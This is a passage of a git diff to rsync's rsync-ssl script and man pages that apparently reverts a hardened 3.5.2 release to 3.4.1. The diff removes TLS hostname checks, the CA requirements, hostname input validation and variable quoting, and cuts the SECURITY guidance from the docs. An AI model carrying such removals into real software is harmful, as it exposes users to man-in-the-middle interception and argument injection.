stunnel_host_opt=\"checkHost = $hostname\"\n-    if [[ \"$RSYNC_SSL_SKIP_HOSTNAME_CHECK\" == 1 ]]; then\n-\topenssl_host_opt=\"\"\n-\tstunnel_host_opt=\"\"\n-    fi\n-\n-    if [[ $RSYNC_SSL_TYPE == gnutls && -z ${RSYNC_SSL_CA_CERT+x} && \"$RSYNC_SSL_ALLOW_INSECURE_GNUTLS\" != 1 ]]; then\n-\techo \"gnutls-cli requires RSYNC_SSL_CA_CERT for server certificate validation (or set RSYNC_SSL_ALLOW_INSECURE_GNUTLS=1 to opt out)\" 1>&2\n-\texit 1\n-    fi\n \n     if [[ $RSYNC_SSL_TYPE == openssl ]]; then\n-\texec \"$RSYNC_SSL_OPENSSL\" s_client $caopt $certopt $keyopt -quiet -verify_quiet -servername $hostname $openssl_host_opt -connect $hostname:$port\n+\texec $RSYNC_SSL_OPENSSL s_client $caopt $certopt $keyopt -quiet -verify_quiet -servername $hostname -verify_hostname $hostname -connect $hostname:$port\n     elif [[ $RSYNC_SSL_TYPE == gnutls ]]; then\n-\texec \"$RSYNC_SSL_GNUTLS\" --logfile=/dev/null $gnutls_cert_opt $gnutls_key_opt $gnutls_opts $hostname:$port\n+\texec $RSYNC_SSL_GNUTLS --logfile=/dev/null $gnutls_cert_opt $gnutls_key_opt $gnutls_opts $hostname:$port\n     else\n \t# devzero@web.de came up with this no-tmpfile calling syntax:\n-\texec \"$RSYNC_SSL_STUNNEL\" -fd 10 11<&0 <<EOF 10<&0 0<&11 11<&-\n+\texec $RSYNC_SSL_STUNNEL -fd 10 11<&0 <<EOF 10<&0 0<&11 11<&-\n foreground = yes\n debug = crit\n connect = $hostname:$port\n client = yes\n TIMEOUTclose = 0\n $verify\n-$stunnel_host_opt\n $certopt\n $cafile\n EOF\n     fi\n }\n \n-function validate_ssl_hostname {\n-    local host=\"$1\"\n-    if [[ -z \"$host\" || \"$host\" == -* || \"$host\" =~ [^A-Za-z0-9._:-] ]]; then\n-\techo \"invalid rsync-ssl hostname: $host\" 1>&2\n-\texit 1\n-    fi\n-}\n-\n function path_search {\n     IFS_SAVE=\"$IFS\"\n     IFS=:\n@@ -226,20 +190,9 @@ if [[ \"$1\" == --HELPER ]]; then\n     rsync_ssl_helper \"${@}\"\n fi\n \n-args=()\n-dash_dash_seen=false\n-for arg in \"$@\"; do\n-    if [[ $dash_dash_seen == true ]]; then\n-        args+=(\"$arg\")\n-    elif [[ \"$arg\" == \"--\" ]]; then\n-        args+=(\"$arg\")\n-        dash_dash_seen=true\n-    elif [[ \"$arg\" == --type=* ]]; then\n-        export RSYNC_SSL_TYPE=\"${arg#--type=}\"\n-    else\n-        args+=(\"$arg\")\n-    fi\n-done\n-set -- \"${args[@]}\"\n+if [[ \"$1\" == --type=* ]]; then\n+    export RSYNC_SSL_TYPE=\"${1/--type=/}\"\n+    shift\n+fi\n \n rsync_ssl_run \"${@}\"\ndiff --git a/rsync-ssl.1 b/rsync-ssl.1\nindex 91c8820..1ed11cc 100644\n--- a/rsync-ssl.1\n+++ b/rsync-ssl.1\n@@ -1,4 +1,4 @@\n-.TH \"rsync-ssl\" \"1\" \"4 Nov 2026\" \"rsync-ssl from rsync 3.5.2\" \"User Commands\"\n+.TH \"rsync-ssl\" \"1\" \"15 Jan 2025\" \"rsync-ssl from rsync 3.4.1\" \"User Commands\"\n .\\\" prefix=/usr\n .P\n .SH \"NAME\"\n@@ -30,15 +30,12 @@ rsync version to be at least 3.2.0.\n .P\n .SH \"OPTIONS\"\n .P\n-If an arg is a \\fB\\-\\-type=SSL_TYPE\\fP option, the script will only use\n+If the \\fBfirst\\fP arg is a \\fB\\-\\-type=SSL_TYPE\\fP option, the script will only use\n that particular program to open an ssl connection instead of trying to find an\n openssl or stunnel executable via a simple heuristic (assuming that the\n \\fBRSYNC_SSL_TYPE\\fP environment variable is not set as well\\ \\-\\- see below).  This\n option must specify one of \\fBopenssl\\fP or \\fBstunnel\\fP.  The equal sign is\n-required for this particular option.  The wrapper's option scan stops at a\n-\\fB\\-\\-\\fP argument: the \\fB\\-\\-\\fP and everything after it are passed through to rsync\n-unchanged, so a \\fB\\-\\-type=...\\fP token after a \\fB\\-\\-\\fP is not consumed by the\n-wrapper.\n+required for this particular option.\n .P\n All the other options are passed through to the rsync command, so consult the\n \\fBrsync\\fP(1) manpage for more information on how it works.\n@@ -65,24 +62,7 @@ If specified, the value is a filename that contains a key for the provided\n certificate to use for the connection.\n .IP \"\\fBRSYNC_SSL_CA_CERT\\fP\"\n If specified, the value is a filename that contains a certificate authority\n-certificate that is used to validate the connection.  When set, the server\n-certificate is verified against this CA \\fBand\\fP its name is checked against\n-the host you are connecting to (the chain and the identity), for all of the\n-openssl, gnutls, and stunnel backends.  Set it to an empty string to disable\n-certificate validation entirely (an encrypt-only connection).\n-.IP \"\\fBRSYNC_SSL_ALLOW_INSECURE_STUNNEL\\fP\"\n-Set to \\fB1\\fP to allow the stunnel backend to run without a CA certificate (and\n-thus with no server-certificate validation at all).  Without this, stunnel\n-mode refuses to start unless \\fBRSYNC_SSL_CA_CERT\\fP is set, since an unvalidated\n-TLS connection can be silently man-in-the-middled.\n-.IP \"\\fBRSYNC_SSL_SKIP_HOSTNAME_CHECK\\fP\"\n-Set to \\fB1\\fP to verify the certificate \\fBchain\\fP but skip the \\fBhostname\\fP\n-(identity) check, for the openssl and stunnel backends.  Use this only when\n-the server certificate legitimately cannot match the host you connect to\\ \\-\\-\n-for example connecting by bare IP address, or to a server whose internal-CA\n-certificate carries a different name.  The CA chain is still validated, so\n-this is much narrower than disabling validation with an empty\n-\\fBRSYNC_SSL_CA_CERT\\fP.\n+certificate that is used to validate the connection.\n .IP \"\\fBRSYNC_SSL_OPENSSL\\fP\"\n Specifies the openssl executable to run when the connection type is set to\n openssl.  If unspecified, the $PATH is searched for \"openssl\".\n@@ -131,9 +111,11 @@ rsyncd.conf.\n .P\n .SH \"CAVEATS\"\n .P\n-The stunnel backend requires stunnel 4 or newer.  It also requires\n-\\fBRSYNC_SSL_CA_CERT\\fP unless \\fBRSYNC_SSL_ALLOW_INSECURE_STUNNEL=1\\fP explicitly\n-opts out of server-certificate validation.\n+Note that using an stunnel connection requires at least version 4 of stunnel,\n+which should be the case on modern systems.  Also, it does not verify a\n+connection against the CA certificate collection, so it only encrypts the\n+connection without any cert validation unless you have specified the\n+certificate environment options.\n .P\n This script also supports a \\fB\\-\\-type=gnutls\\fP option, but at the time of this\n release the gnutls-cli command was dropping output, making it unusable.  If\n@@ -148,7 +130,7 @@ Please report bugs! See the web site at\n .P\n .SH \"VERSION\"\n .P\n-This manpage is current for version 3.5.2 of rsync.\n+This manpage is current for version 3.4.1 of rsync.\n .P\n .SH \"CREDITS\"\n .P\ndiff --git a/rsync-ssl.1.html b/rsync-ssl.1.html\nindex 0389eb0..d0b21be 100644\n--- a/rsync-ssl.1.html\n+++ b/rsync-ssl.1.html\n@@ -48,15 +48,12 @@ environment.  You can specify an overriding port via <code>--port</code> or by i\n it in the normal spot in the URL format, though both of those require your\n rsync version to be at least 3.2.0.</p>\n <h2 id=\"OPTIONS\">OPTIONS<a href=\"#OPTIONS\" class=\"tgt\"></a></h2>\n-<p>If an arg is a <code>--type=SSL_TYPE</code> option, the script will only use\n+<p>If the <strong>first</strong> arg is a <code>--type=SSL_TYPE</code> option, the script will only use\n that particular program to open an ssl connection instead of trying to find an\n openssl or stunnel executable via a simple heuristic (assuming that the\n <code>RSYNC_SSL_TYPE</code> environment variable is not set as well&nbsp;-&#8288;-&#8288; see below).  This\n option must specify one of <code>openssl</code> or <code>stunnel</code>.  The equal sign is\n-required for this particular option.  The wrapper's option scan stops at a\n-<code>--</code> argument: the <code>--</code> and everything after it are passed through to rsync\n-unchanged, so a <code>--type=...</code> token after a <code>--</code> is not consumed by the\n-wrapper.</p>\n+required for this particular option.</p>\n <p>All the other options are passed through to the rsync command, so consult the\n <strong>rsync</strong>(1) manpage for more information on how it works.</p>\n <h2 id=\"ENVIRONMENT_VARIABLES\">ENVIRONMENT VARIABLES<a href=\"#ENVIRONMENT_VARIABLES\" class=\"tgt\"></a></h2>\n@@ -89,28 +86,7 @@ certificate to use for the connection.</p>\n \n <dt id=\"RSYNC_SSL_CA_CERT\"><code>RSYNC_SSL_CA_CERT</code><a href=\"#RSYNC_SSL_CA_CERT\" class=\"tgt\"></a></dt><dd>\n <p>If specified, the value is a filename that contains a certificate authority\n-certificate that is used to validate the connection.  When set, the server\n-certificate is verified against this CA <strong>and</strong> its name is checked against\n-the host you are connecting to (the chain and the identity), for all of the\n-openssl, gnutls, and stunnel backends.  Set it to an empty string to disable\n-certificate validation entirely (an encrypt-only connection).</p>\n-</dd>\n-\n-<dt id=\"RSYNC_SSL_ALLOW_INSECURE_STUNNEL\"><code>RSYNC_SSL_ALLOW_INSECURE_STUNNEL</code><a href=\"#RSYNC_SSL_ALLOW_INSECURE_STUNNEL\" class=\"tgt\"></a></dt><dd>\n-<p>Set to <code>1</code> to allow the stunnel backend to run without a CA certificate (and\n-thus with no server-certificate validation at all).  Without this, stunnel\n-mode refuses to start unless <code>RSYNC_SSL_CA_CERT</code> is set, since an unvalidated\n-TLS connection can be silently man-in-the-middled.</p>\n-</dd>\n-\n-<dt id=\"RSYNC_SSL_SKIP_HOSTNAME_CHECK\"><code>RSYNC_SSL_SKIP_HOSTNAME_CHECK</code><a href=\"#RSYNC_SSL_SKIP_HOSTNAME_CHECK\" class=\"tgt\"></a></dt><dd>\n-<p>Set to <code>1</code> to verify the certificate <strong>chain</strong> but skip the <strong>hostname</strong>\n-(identity) check, for the openssl and stunnel backends.  Use this only when\n-the server certificate legitimately cannot match the host you connect to&nbsp;-&#8288;-&#8288;\n-for example connecting by bare IP address, or to a server whose internal-CA\n-certificate carries a different name.  The CA chain is still validated, so\n-this is much narrower than disabling validation with an empty\n-<code>RSYNC_SSL_CA_CERT</code>.</p>\n+certificate that is used to validate the connection.</p>\n </dd>\n \n <dt id=\"RSYNC_SSL_OPENSSL\"><code>RSYNC_SSL_OPENSSL</code><a href=\"#RSYNC_SSL_OPENSSL\" class=\"tgt\"></a></dt><dd>\n@@ -152,9 +128,11 @@ rsyncd.conf</a>.</p>\n <h2 id=\"SEE_ALSO\">SEE ALSO<a href=\"#SEE_ALSO\" class=\"tgt\"></a></h2>\n <p><a href=\"rsync.1\"><strong>rsync</strong>(1)</a>, <a href=\"rsyncd.conf.5\"><strong>rsyncd.conf</strong>(5)</a></p>\n <h2 id=\"CAVEATS\">CAVEATS<a href=\"#CAVEATS\" class=\"tgt\"></a></h2>\n-<p>The stunnel backend requires stunnel 4 or newer.  It also requires\n-<code>RSYNC_SSL_CA_CERT</code> unless <code>RSYNC_SSL_ALLOW_INSECURE_STUNNEL=1</code> explicitly\n-opts out of server-certificate validation.</p>\n+<p>Note that using an stunnel connection requires at least version 4 of stunnel,\n+which should be the case on modern systems.  Also, it does not verify a\n+connection against the CA certificate collection, so it only encrypts the\n+connection without any cert validation unless you have specified the\n+certificate environment options.</p>\n <p>This script also supports a <code>--type=gnutls</code> option, but at the time of this\n release the gnutls-cli command was dropping output, making it unusable.  If\n that bug has been fixed in your version, feel free to put gnutls into an\n@@ -162,7 +140,7 @@ exported RSYNC_SSL_TYPE environment variable to make its use the default.</p>\n <h2 id=\"BUGS\">BUGS<a href=\"#BUGS\" class=\"tgt\"></a></h2>\n <p>Please report bugs! See the web site at <a href=\"https://rsync.samba.org/\">https://rsync.samba.org/</a>.</p>\n <h2 id=\"VERSION\">VERSION<a href=\"#VERSION\" class=\"tgt\"></a></h2>\n-<p>This manpage is current for version 3.5.2 of rsync.</p>\n+<p>This manpage is current for version 3.4.1 of rsync.</p>\n <h2 id=\"CREDITS\">CREDITS<a href=\"#CREDITS\" class=\"tgt\"></a></h2>\n <p>Rsync is distributed under the GNU General Public License.  See the file\n <a href=\"COPYING\">COPYING</a> for details.</p>\n@@ -172,5 +150,5 @@ FAQ-O-Matic which may cover questions unanswered by this manual page.</p>\n <p>This manpage was written by Wayne Davison.</p>\n <p>Mailing lists for support and development are available at\n <a href=\"https://lists.samba.org/\">https://lists.samba.org/</a>.</p>\n-<div style=\"float: right\"><p><i>4 Nov 2026</i></p></div>\n+<div style=\"float: right\"><p><i>15 Jan 2025</i></p></div>\n </body></html>\ndiff --git a/rsync-ssl.1.md b/rsync-ssl.1.md\nindex abb6544..a6f1e3d 100644\n--- a/rsync-ssl.1.md\n+++ b/rsync-ssl.1.md\n@@ -25,15 +25,12 @@ rsync version to be at least 3.2.0.\n \n ## OPTIONS\n \n-If an arg is a `--type=SSL_TYPE` option, the script will only use\n+If the **first** arg is a `--type=SSL_TYPE` option, the script will only use\n that particular program to open an ssl connection instead of trying to find an\n openssl or stunnel executable via a simple heuristic (assuming that the\n `RSYNC_SSL_TYPE` environment variable is not set as well -- see below).  This\n option must specify one of `openssl` or `stunnel`.  The equal sign is\n-required for this particular option.  The wrapper's option scan stops at a\n-`--` argument: the `--` and everything after it are passed through to rsync\n-unchanged, so a `--type=...` token after a `--` is not consumed by the\n-wrapper.\n+required for this particular option.\n \n All the other options are passed through to the rsync command, so consult the\n **rsync**(1) manpage for more information on how it works.\n@@ -69,28 +66,7 @@ The ssl helper scripts are affected by the following environment variables:\n 0.  `RSYNC_SSL_CA_CERT`\n \n     If specified, the value is a filename that contains a certificate authority\n-    certificate that is used to validate the connection.  When set, the server\n-    certificate is verified against this CA **and** its name is checked against\n-    the host you are connecting to (the chain and the identity), for all of the\n-    openssl, gnutls, and stunnel backends.  Set it to an empty string to disable\n-    certificate validation entirely (an encrypt-only connection).\n-\n-0.  `RSYNC_SSL_ALLOW_INSECURE_STUNNEL`\n-\n-    Set to `1` to allow the stunnel backend to run without a CA certificate (and\n-    thus with no server-certificate validation at all).  Without this, stunnel\n-    mode refuses to start unless `RSYNC_SSL_CA_CERT` is set, since an unvalidated\n-    TLS connection can be silently man-in-the-middled.\n-\n-0.  `RSYNC_SSL_SKIP_HOSTNAME_CHECK`\n-\n-    Set to `1` to verify the certificate **chain** but skip the **hostname**\n-    (identity) check, for the openssl and stunnel backends.  Use this only when\n-    the server certificate legitimately cannot match the host you connect to --\n-    for example connecting by bare IP address, or to a server whose internal-CA\n-    certificate carries a different name.  The CA chain is still validated, so\n-    this is much narrower than disabling validation with an empty\n-    `RSYNC_SSL_CA_CERT`.\n+    certificate that is used to validate the connection.\n \n 0.  `RSYNC_SSL_OPENSSL`\n \n@@ -129,9 +105,11 @@ rsyncd.conf](rsyncd.conf.5#SSL_TLS_Daemon_Setup).\n \n ## CAVEATS\n \n-The stunnel backend requires stunnel 4 or newer.  It also requires\n-`RSYNC_SSL_CA_CERT` unless `RSYNC_SSL_ALLOW_INSECURE_STUNNEL=1` explicitly\n-opts out of server-certificate validation.\n+Note that using an stunnel connection requires at least version 4 of stunnel,\n+which should be the case on modern systems.  Also, it does not verify a\n+connection against the CA certificate collection, so it only encrypts the\n+connection without any cert validation unless you have specified the\n+certificate environment options.\n \n This script also supports a `--type=gnutls` option, but at the time of this\n release the gnutls-cli command was dropping output, making it unusable.  If\ndiff --git a/rsync.1 b/rsync.1\nindex 2b5e99b..c777862 100644\n--- a/rsync.1\n+++ b/rsync.1\n@@ -1,9 +1,9 @@\n-.TH \"rsync\" \"1\" \"4 Nov 2026\" \"rsync 3.5.2\" \"User Commands\"\n+.TH \"rsync\" \"1\" \"15 Jan 2025\" \"rsync 3.4.1\" \"User Commands\"\n .\\\" prefix=/usr\n .P\n .SH \"NAME\"\n .P\n-rsync \\- a fast, versatile, local/remote file-copying tool\n+rsync \\- a fast, versatile, remote (and local) file-copying tool\n .P\n .SH \"SYNOPSIS\"\n .P\n@@ -23,13 +23,13 @@ Access via rsync daemon:\n         rsync [OPTION...] rsync://[USER@]HOST[:PORT]/SRC... [DEST]\n     Push:\n         rsync [OPTION...] SRC... [USER@]HOST::DEST\n-        rsync [OPTION...] SRC... rsync://[USER@]HOST[:PORT]/DEST\n+        rsync [OPTION...] SRC... rsync://[USER@]HOST[:PORT]/DEST)\n .fi\n .P\n-Usages with just one SRC argument and no DEST argument will list the source files instead\n+Usages with just one SRC arg and no DEST arg will list the source files instead\n of copying.\n .P\n-The online version of this manpage (which includes cross-linking of topics)\n+The online version of this manpage (that includes cross-linking of topics)\n is available at\n .UR https://download.samba.org/pub/rsync/rsync.1\n .UE .\n@@ -37,7 +37,7 @@ is available at\n .SH \"DESCRIPTION\"\n .P\n Rsync is a fast and extraordinarily versatile file copying tool.  It can copy\n-locally, to/from another host over a remote shell, or to/from a remote rsync\n+locally, to/from another host over any remote shell, or to/from a remote rsync\n daemon.  It offers a large number of options that control every aspect of its\n behavior and permit very flexible specification of the set of files to be\n copied.  It is famous for its delta-transfer algorithm, which reduces the\n@@ -55,7 +55,7 @@ the file's data does not need to be updated.\n Some of the additional features of rsync are:\n .P\n .IP o\n-support for copying hard and soft links, devices, owners, groups, and permissions\n+support for copying links, devices, owners, groups, and permissions\n .IP o\n exclude and exclude-from options similar to GNU tar\n .IP o\n@@ -72,62 +72,46 @@ support for anonymous or authenticated rsync daemons (ideal for mirroring)\n .SH \"GENERAL\"\n .P\n Rsync copies files either to or from a remote host, or locally on the current\n-host.  It does not support copying files between two different remote hosts.\n+host (it does not support copying files between two remote hosts).\n .P\n There are two different ways for rsync to contact a remote system: using a\n-remote-shell program as the transport (such as ssh or rsh), or by contacting an\n+remote-shell program as the transport (such as ssh or rsh) or contacting an\n rsync daemon directly via TCP.  The remote-shell transport is used whenever the\n source or destination path contains a single colon (:) separator after a host\n-specification.  In this case, the local rsync process uses the remote\n-shell program to start an rsync process on the remote system.  The two\n-rsync processes then communicate via the remote shell program to\n-accomplish the desired transfers.  In this case, the files that are\n-accessible on the remote system are those accessible to the user ID\n-under which the remote shell starts the remote rsync process.\n-.P\n-Contacting an rsync daemon directly happens when the source or\n+specification.  Contacting an rsync daemon directly happens when the source or\n destination path contains a double colon (::) separator after a host\n-specification, OR when an rsync:// URL is specified.\n-In this case, the remote rsync daemon process will\n-provide access only to specific sets of files, called modules,\n-according to its configuration.\n-It is also possible to contact an rsync daemon via a remote-shell\n-transport; see the USING RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL\n-CONNECTION section for details.\n-.P\n-As a special case, if a single source argument is specified without a destination,\n+specification, OR when an rsync:// URL is specified (see also the USING\n+RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL CONNECTION section for an\n+exception to this latter rule).\n+.P\n+As a special case, if a single source arg is specified without a destination,\n the files are listed in an output format similar to \"\\fBls\\ \\-l\\fP\".\n .P\n-If neither the source or destination path specify a remote host,\n-the copy occurs locally (see also the \\fB\\-\\-list\\-only\\fP option).\n+As expected, if neither the source or destination path specify a remote host,\n+the copy occurs locally (see also the \\fB\\-\\-list-only\\fP option).\n .P\n-Rsync refers to the local side as the client and the remote side as\n-the server.  The server is not to be confused with an rsync daemon.\n-A daemon is always a server, but a server can be either a daemon or a\n-remote-shell spawned process.  If the transfer is local, then the\n-rsync subprocess which receives the contents of the files being\n-transferred is the server.\n+Rsync refers to the local side as the client and the remote side as the server.\n+Don't confuse server with an rsync daemon.  A daemon is always a server, but a\n+server can be either a daemon or a remote-shell spawned process.\n .P\n .SH \"SETUP\"\n .P\n-Most Linux distributions include rsync as a package that can be\n-installed using the package manager.\n-If for any reason you need to build and install rsync from source,\n-see the file README.md for installation instructions.\n+See the file README.md for installation instructions.\n .P\n Once installed, you can use rsync to any machine that you can access via a\n-remote shell, or that has an rsync daemon available.\n-For remote transfers, rsync normally uses ssh for its\n-communications.  Alternatively,\n-you can specify any remote shell you like, either by using the \\fB\\-e\\fP\n+remote shell (as well as some that you can access using the rsync daemon-mode\n+protocol).  For remote transfers, a modern rsync uses ssh for its\n+communications, but it may have been configured to use a different remote shell\n+by default, such as rsh or remsh.\n+.P\n+You can also specify any remote shell you like, either by using the \\fB\\-e\\fP\n command line option, or by setting the \\fBRSYNC_RSH\\fP environment variable.\n .P\n Note that rsync must be installed on both the source and destination machines.\n .P\n .SH \"USAGE\"\n .P\n-You use rsync in a similar way to other file-copying commands such\n-as cp and rcp.  You must specify a source and a\n+You use rsync in the same way you use rcp.  You must specify a source and a\n destination, one of which may be remote.\n .P\n Perhaps the best way to explain the syntax is with some examples:\n@@ -143,8 +127,8 @@ directory to the directory src on the machine foo.  If any of the files already\n exist on the remote system then the rsync remote-update protocol is used to\n update the file by sending only the differences in the data.  Note that the\n expansion of wildcards on the command-line (\\fB*.c\\fP) into a list of files is\n-handled by the shell before it runs rsync and not by rsync itself (as for\n-other Posix-style programs).\n+handled by the shell before it runs rsync and not by rsync itself (exactly the\n+same as all other Posix-style programs).\n .RS 4\n .P\n .nf\n@@ -216,8 +200,8 @@ rsync -ai foo/ bar/\n .fi\n .RE\n .P\n-Rsync also has the ability to copy a single file to a\n-destination file with a different name.  The rules for this are:\n+Rsync also has the ability to customize a destination file's name when copying\n+a single item.  The rules for this are:\n .P\n .IP o\n The transfer list must consist of a single item (either a file or an empty\n@@ -227,13 +211,12 @@ The final element of the destination path must not exist as a directory\n .IP o\n The destination path must not have been specified with a trailing slash\n .P\n-Under those circumstances, rsync will use the specified destination\n-path as the filename of the destination (rather than constructing a\n-filename using the last element of the source path).  It is best\n-to use this idiom only when copying a file, and to use the above trailing-slash\n+Under those circumstances, rsync will set the name of the destination's single\n+item to the last element of the destination path.  Keep in mind that it is best\n+to only use this idiom when copying a file and use the above trailing-slash\n idiom when copying a directory.\n .P\n-The following example copies the \\fBfoo.c\\fP file as \\fBbar.c\\fP in the \\fBsave\\fP directory\n+The following example copies the \\fBfoo.c\\fP file as \\fBbar.c\\fP in the \\fBsave\\fP dir\n (assuming that \\fBbar.c\\fP isn't a directory):\n .RS 4\n .P\n@@ -242,13 +225,10 @@ rsync -ai src/foo.c save/bar.c\n .fi\n .RE\n .P\n-The single-item copy rule can give unexpected results if a wildcard\n-pattern for the source yields a single item, and the destination,\n-though specified without a trailing slash, is intended to be a\n-directory, but that directory does not exist.\n-For example, if \\fBsrc/*.c\\fP matches one file and \\fBsave/dir\\fP\n-doesn't exist, this will perhaps confusingly name the destination file\n-\\fBsave/dir\\fP:\n+The single-item copy rule might accidentally bite you if you unknowingly copy a\n+single item and specify a destination dir that doesn't exist (without using a\n+trailing slash).  For example, if \\fBsrc/*.c\\fP matches one file and \\fBsave/dir\\fP\n+doesn't exist, this will confuse you by naming the destination file \\fBsave/dir\\fP:\n .RS 4\n .P\n .nf\n@@ -256,7 +236,7 @@ rsync -ai src/*.c save/dir\n .fi\n .RE\n .P\n-To prevent such an accident, either make sure the destination directory exists or\n+To prevent such an accident, either make sure the destination dir exists or\n specify the destination path with a trailing slash:\n .RS 4\n .P\n@@ -269,54 +249,34 @@ rsync -ai src/*.c save/dir/\n .P\n Rsync always sorts the specified filenames into its internal transfer list.\n This handles the merging together of the contents of identically named\n-directories and makes it easy to remove duplicate filenames. It can, however,\n-result in files being transferred in a different order from that\n-specified on the command-line.\n-.P\n-If you need a particular file to be transferred prior to another, the\n-only way to be guaranteed of that is to separate the files into\n-different rsync calls.  If it is sufficient for the destination files to\n-appear at almost the same time, consider using\n-\\fB\\-\\-delay\\-updates\\fP, which doesn't affect the sorted transfer order, but\n-does make the final file-updating phase happen much more rapidly.\n-.P\n-.SH \"SECURITY\"\n-.P\n-Rsync is frequently run across a network and with elevated privileges, so it is\n-worth thinking about who you are trusting and with what.  This section is a\n-practical guide for safe use; the project's \\fBSECURITY.md\\fP describes the full\n-threat model and the per-platform residuals.\n-.P\n-.SS \"Use an authenticated, encrypted transport\"\n-.P\n-A plain \\fBhost:path\\fP transfer runs over your remote shell (ssh by default), which\n-authenticates the peer and encrypts the connection\\ \\-\\- this is the safe default.\n-A direct daemon connection (\\fBhost::module\\fP or \\fBrsync://\\fP) is \\fBnot encrypted\\fP\n-and its authentication is comparatively weak, so do not send sensitive data\n-across an untrusted network.\n-Instead tunnel it over ssh\n-(see USING RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL CONNECTION) or wrap it in\n-TLS with \\fBrsync-ssl\\fP(1), setting \\fBRSYNC_SSL_CA_CERT\\fP so that the\n-server certificate's chain \\fBand\\fP hostname are verified.  When you must supply a\n-daemon password non-interactively, put it in a \\fB\\-\\-password\\-file\\fP that is\n-readable only by you (mode 600) rather than on the command line.\n-.P\n-.SS \"Copying from an untrusted sending host\"\n-.P\n-When receiving from a remote host, rsync takes steps to ensure that a\n-corrupted or compromised remote rsync process can't cause the local\n-rsync process to access files beyond the bounds of what was requested.\n-Rsync ensures that the list of files being\n-transferred stays within the requested tree, and will abort when a\n-file list contains an absolute or relative path that tries to escape\n-the top of the transfer.  It also verifies that no extra source arguments\n-were added to the transfer and that the file list obeys the exclude rules\n-that were sent to the sender.\n-.P\n-For those who want to be extra careful,\n-it is safest to copy untrusted remote files into a dedicated\n-destination directory.  For example, instead of copying into your home\n-directory:\n+directories, makes it easy to remove duplicate filenames. It can, however,\n+confuse someone when the files are transferred in a different order than what\n+was given on the command-line.\n+.P\n+If you need a particular file to be transferred prior to another, either\n+separate the files into different rsync calls, or consider using\n+\\fB\\-\\-delay-updates\\fP (which doesn't affect the sorted transfer order, but\n+does make the final file-updating phase happen much more rapidly).\n+.P\n+.SH \"MULTI-HOST SECURITY\"\n+.P\n+Rsync takes steps to ensure that the file requests that are shared in a\n+transfer are protected against various security issues.  Most of the potential\n+problems arise on the receiving side where rsync takes steps to ensure that the\n+list of files being transferred remains within the bounds of what was\n+requested.\n+.P\n+Toward this end, rsync 3.1.2 and later have aborted when a file list contains\n+an absolute or relative path that tries to escape out of the top of the\n+transfer.  Also, beginning with version 3.2.5, rsync does two more safety\n+checks of the file list to (1) ensure that no extra source arguments were added\n+into the transfer other than those that the client requested and (2) ensure\n+that the file list obeys the exclude rules that were sent to the sender.\n+.P\n+For those that don't yet have a 3.2.5 client rsync (or those that want to be\n+extra careful), it is safest to do a copy into a dedicated destination\n+directory for the remote files when you don't trust the remote host.  For\n+example, instead of doing an rsync copy into your home directory:\n .RS 4\n .P\n .nf\n@@ -324,7 +284,7 @@ rsync -aiv host1:dir1 ~\n .fi\n .RE\n .P\n-dedicate a \"host1-files\" directory to the remote content:\n+Dedicate a \"host1-files\" dir to the remote content:\n .RS 4\n .P\n .nf\n@@ -332,73 +292,30 @@ rsync -aiv host1:dir1 ~/host1-files\n .fi\n .RE\n .P\n-See the \\fB\\-\\-trust\\-sender\\fP option for additional details.\n-.P\n-.SS \"Copying between case-preserving and case-insensitive filesystems\"\n-.P\n-Copying from case-preserving to case-insensitive filesystems requires\n-caution, because it is possible for the name of a symbolic link to\n-overlap with the name of a file or directory once the case\n-distinctions are removed, which can cause potentially dangerous\n-results such as files being written outside the destination directory\n-hierarchy.\n-If you must perform\n-such a copy, either disable symlinks via \\fB\\-\\-no\\-links\\fP or enable the munging of\n-symlinks via \\fB\\-\\-munge\\-links\\fP (and make sure you use the right local or\n-remote option).\n-This does not, however, ensure\n-that you get a full copy of all the files (since that may not be possible when\n-the names overlap); a potentially better solution is to build a safe list of\n-filenames and pass it to \\fB\\-\\-files\\-from\\fP.\n-.P\n-.SS \"Symbolic links\"\n-.P\n-A malicious sender can include symlinks that point outside the destination tree\n-(for example at \\fB/etc/passwd\\fP).  Use \\fB\\-\\-safe\\-links\\fP to ignore any symlink\n-that points outside the set of files\n-being transferred, or \\fB\\-\\-munge\\-links\\fP to store every symlink in a\n-form that is unusable on disk but recoverable later; \\fB\\-\\-no\\-links\\fP drops symlinks\n-entirely.  See the SYMBOLIC LINKS section for how these interact.\n-.P\n-Separately, the directory and file paths that \\fIyou\\fP supply on the command line\\ \\-\\-\n-\\fB\\-\\-backup\\-dir\\fP, \\fB\\-\\-temp\\-dir\\fP, \\fB\\-\\-partial\\-dir\\fP, the\n-\\fB\\-\\-link\\-dest\\fP/\\fB\\-\\-compare\\-dest\\fP/\\fB\\-\\-copy\\-dest\\fP basis directories,\n-\\fB\\-\\-log\\-file\\fP, \\fB\\-\\-password\\-file\\fP,\n-\\fB\\-\\-files\\-from\\fP/\\fB\\-\\-include\\-from\\fP/\\fB\\-\\-exclude\\-from\\fP,\n-\\fB\\-\\-filter\\fP merge files, \\fB\\-\\-write\\-batch\\fP/\\fB\\-\\-read\\-batch\\fP,\n-and the destination itself\\ \\-\\- are resolved so that a symlink component is followed\n-only when it is owned by you or by root; an attacker-planted symlink along one of\n-those paths is refused.  \\fB\\-\\-insecure\\-links\\fP turns that protection off\n-(restoring the historical follow-any-symlink behaviour); use it only when every\n-directory along those paths is trusted, never on a path an unprivileged user can\n-write.\n-.P\n-.SS \"Use strong checksums\"\n-.P\n-Rsync auto-negotiates the strongest checksum that both ends support, so keeping\n-both local and remote rsync versions reasonably current is usually all\n-that is needed.  You can\n-pin the choice with \\fB\\-\\-checksum\\-choice\\fP (\\fB\\-\\-cc\\fP, e.g. \\fB\\-\\-cc=sha1\\fP or one\n-of the xxHash variants) or constrain negotiation with the\n-\\fBRSYNC_CHECKSUM_LIST\\fP environment variable; only very old peers fall back to\n-MD4/MD5.  This pre-transfer \"does this file need updating?\" checksum is separate\n-from the whole-file checksum rsync normally computes to verify each transferred\n-file afterward (verification is off when \\fB\\-\\-checksum\\-choice=none\\fP is forced).\n-.P\n-.SS \"Protocol version\"\n-.P\n-The client and server automatically negotiate the newest protocol they both\n-support, so a current pair is already using the most recent version;\n-\\fB\\-\\-protocol\\fP only \\fIforces an older\\fP version for compatibility and should\n-not be used to downgrade a connection.  Avoiding old protocols is therefore a\n-matter of running a current rsync on both ends (a protocol below 30 also forces\n-the weak MD4 authentication digest on a daemon connection\\ \\-\\- see the AUTHENTICATION\n-STRENGTH section of 